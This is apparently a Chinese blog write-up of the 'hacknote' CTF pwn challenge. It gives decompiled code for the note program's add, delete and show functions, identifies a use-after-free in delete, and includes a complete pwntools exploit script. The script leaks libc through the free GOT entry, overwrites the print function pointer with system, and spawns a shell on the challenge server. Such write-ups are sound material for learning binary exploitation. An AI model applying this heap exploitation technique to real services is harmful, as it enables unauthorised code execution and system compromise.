• pwnable_hacknote


    pwnable_hacknote

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8047000)
    
    • 1
    • 2
    • 3
    • 4
    • 5

    32位,没开PIE

    main部分就不贴了,直接贴主要的函数

    unsigned int ADD()
    {
      int v0; // ebx
      int i; // [esp+Ch] [ebp-1Ch]
      int size; // [esp+10h] [ebp-18h]
      char buf[8]; // [esp+14h] [ebp-14h] BYREF
      unsigned int v5; // [esp+1Ch] [ebp-Ch]
    
      v5 = __readgsdword(0x14u);
      if ( BSSNUM <= 5 )
      {
        for ( i = 0; i <= 4; ++i )
        {
          if ( !*(&ptr + i) )
          {
            *(&ptr + i) = malloc(8u);
            if ( !*(&ptr + i) )
            {
              puts("Alloca Error");
              exit(-1);
            }
            *(_DWORD *)*(&ptr + i) = sub_804862B;
            printf("Note size :");
            read(0, buf, 8u);
            size = atoi(buf);
            v0 = (int)*(&ptr + i);
            *(_DWORD *)(v0 + 4) = malloc(size);
            if ( !*((_DWORD *)*(&ptr + i) + 1) )
            {
              puts("Alloca Error");
              exit(-1);
            }
            printf("Content :");
            read(0, *((void **)*(&ptr + i) + 1), size);
            puts("Success !");
            ++BSSNUM;
            return __readgsdword(0x14u) ^ v5;
          }
        }
      }
      else
      {
        puts("Full");
      }
      return __readgsdword(0x14u) ^ v5;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46

    add这里,程序申请了一个chunk,用来存放puts函数,和content的地址,

    然后给用户申请一个chunk,size不限制

    unsigned int DELE()
    {
      int v1; // [esp+4h] [ebp-14h]
      char buf[4]; // [esp+8h] [ebp-10h] BYREF
      unsigned int v3; // [esp+Ch] [ebp-Ch]
    
      v3 = __readgsdword(0x14u);
      printf("Index :");
      read(0, buf, 4u);
      v1 = atoi(buf);
      if ( v1 < 0 || v1 >= BSSNUM )
      {
        puts("Out of bound!");
        _exit(0);
      }
      if ( *(&ptr + v1) )
      {
        free(*((void **)*(&ptr + v1) + 1));
        free(*(&ptr + v1));
        puts("Success");
      }
      return __readgsdword(0x14u) ^ v3;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23

    free这里是uaf

    unsigned int SHOW()
    {
      int v1; // [esp+4h] [ebp-14h]
      char buf[4]; // [esp+8h] [ebp-10h] BYREF
      unsigned int v3; // [esp+Ch] [ebp-Ch]
    
      v3 = __readgsdword(0x14u);
      printf("Index :");
      read(0, buf, 4u);
      v1 = atoi(buf);
      if ( v1 < 0 || v1 >= BSSNUM )
      {
        puts("Out of bound!");
        _exit(0);
      }
      if ( *(&ptr + v1) )
        (*(void (__cdecl **)(_DWORD))*(&ptr + v1))(*(&ptr + v1));
      return __readgsdword(0x14u) ^ v3;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    show这里,是通过程序申请的chunk里面的puts函数,然后取下一位content的地址去打印content的

    思路

    既然用程序的puts调用地址打印,我们可以构造一个可操作的chunk去使这个函数,泄露我们需要的

    比如说libc

    后面就是计算libc,getshell

    from pwn import*
    from Yapack import *
    r,elf=rec("node4.buuoj.cn",26820,"./pwn",10)
    context(os='linux', arch='i386',log_level='debug')
    libc=ELF('libc-2.23_32.so')
    
    add(0x80,b'a')
    add(0x80,b'a')
    add(0x30,b'a')
    dele(0)
    dele(1)
    add(0x8,flat(0x804862B,elf.got['free']))
    show(0)
    leak=u32(r.recvuntil(b'\xf7')[-4:])
    base=leak-libc.sym['free']
    sys=system(base)
    sh=shell(base)
    li(leak)
    dele(3)
    add(0x8,flat(sys,';sh\x00'))
    show(0)
    
    ia()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23

    本来我打算用libc的shell去打的,奈何打不通,参考了一下其他师傅,发现用system函数地址去覆盖puts函数的地址,参数会是system函数本身,用;执行下一条命令才能执行到system(sh)
    在这里插入图片描述

  • 相关阅读:
    PHP实现输入一年里的第N周求第N周的日期范围
    vue3.0 组件传参
    云计算-Linux-小综合实验答案
    30张图带你领略glibc内存管理精髓
    ubuntu20.04 nerf开山之作
    Mybatis【全面学习 一篇就够】
    vue兄弟组件直接传递参数
    c++多态
    pytest
    功能强大性能更佳的 Sass 常用指令
  • 原文地址:https://blog.csdn.net/qq_62887641/article/details/133525475